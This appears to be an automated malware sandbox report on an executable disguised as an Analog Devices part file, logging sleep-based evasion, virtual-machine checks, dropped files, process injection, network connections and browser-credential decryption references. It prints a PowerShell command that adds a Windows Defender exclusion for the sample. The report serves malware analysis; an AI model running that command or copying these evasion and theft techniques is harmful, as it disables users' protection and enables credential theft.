Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595547
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595437
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595327
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595213
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595109
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595000
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594890
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594781
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594669
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594561
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594452
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594335
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594217
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594105
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593985
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593854
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593746
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593638
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593530
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593383
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593266
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593140
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593031

Source: C:\Windows\System\explorer.exe	Window / User API: threadDelayed 674	Jump to behavior
Source: C:\Windows\System\explorer.exe	Window / User API: threadDelayed 369	Jump to behavior
Source: C:\Windows\System\explorer.exe	Window / User API: foregroundWindowGot 802	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5134
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1500
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Window / User API: threadDelayed 2873
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Window / User API: threadDelayed 6936

Source: C:\Windows\System\explorer.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\mrsys.exe			Jump to dropped file
Source: C:\Windows\System\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\stsys.exe			Jump to dropped file

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe

API coverage: 3.2 %

Source: C:\Users\user\Desktop\ADSP-21593BBPZ10 Analog Devices, Inc. 5000.exe TID: 1432	Thread sleep count: 214 > 30	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 6788	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3852	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System\explorer.exe TID: 6888	Thread sleep count: 674 > 30	Jump to behavior
Source: C:\Windows\System\explorer.exe TID: 6888	Thread sleep count: 369 > 30	Jump to behavior
Source: C:\Windows\System\svchost.exe TID: 7192	Thread sleep count: 136 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7352	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep count: 40 > 30
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -36893488147419080s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 6284	Thread sleep count: 2873 > 30
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -599203s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -599025s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598903s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 6284	Thread sleep count: 6936 > 30
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598796s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598658s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598546s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598437s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598328s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598219s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -598109s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597999s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597890s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597781s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597671s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597562s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597453s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597344s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597234s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597125s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -597014s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -596906s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -596655s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -596344s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -596197s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -596093s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595981s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595875s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595765s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595656s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595547s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595437s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595327s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595213s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595109s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -595000s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594890s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594781s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594669s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594561s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594452s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594335s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594217s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -594105s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593985s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593854s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593746s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593638s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593530s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593383s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593266s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593140s >= -30000s
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe TID: 7048	Thread sleep time: -593031s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 599203
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 599025
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598903
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598796
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598658
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598219
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 598109
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597999
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597890
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597781
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597671
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597562
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597453
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597344
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597234
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597125
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 597014
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596906
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596655
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596344
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596197
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 596093
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595981
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595875
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595765
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595656
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595547
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595437
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595327
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595213
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595109
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 595000
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594890
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594781
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594669
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594561
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594452
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594335
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594217
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 594105
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593985
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593854
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593746
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593638
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593530
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593383
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593266
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593140
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Thread delayed: delay time: 593031

Source: explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093476582.0000000000737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWnI
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000001.00000002.1744230984.0000000000938000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000003.00000002.2945641298.0000020527A58000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1850879482.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.000000000076C000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2277116620.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2092983127.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2193041247.000000000076D000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1966943077.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.1851087658.0000000000736000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.2093476582.0000000000737000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000003.00000002.2942426851.000002052242B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@
Source: adsp-21593bbpz10 analog devices, inc. 5000.exe , 00000020.00000002.2941415689.0000000001798000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System\explorer.exe	Network Connect: 173.194.76.82 80	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 51.81.194.202 443	Jump to behavior
Source: C:\Windows\System\explorer.exe	Network Connect: 64.233.184.82 80	Jump to behavior

.NET source code references suspicious native API functions

Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, COVID19.cs	Reference to suspicious API methods: MapVirtualKey(VKCode, 0u)
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(hModule, method), typeof(T))
Source: 1.2.adsp-21593bbpz10 analog devices, inc. 5000.exe .373f618.1.raw.unpack, FFDecryptor.cs	Reference to suspicious API methods: hModuleList.Add(LoadLibrary(text21 + "\\mozglue.dll"))

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe

Memory written: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Process created: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "c:\users\user\desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe "	Jump to behavior

Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\adsp-21593bbpz10 analog devices, inc. 5000.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
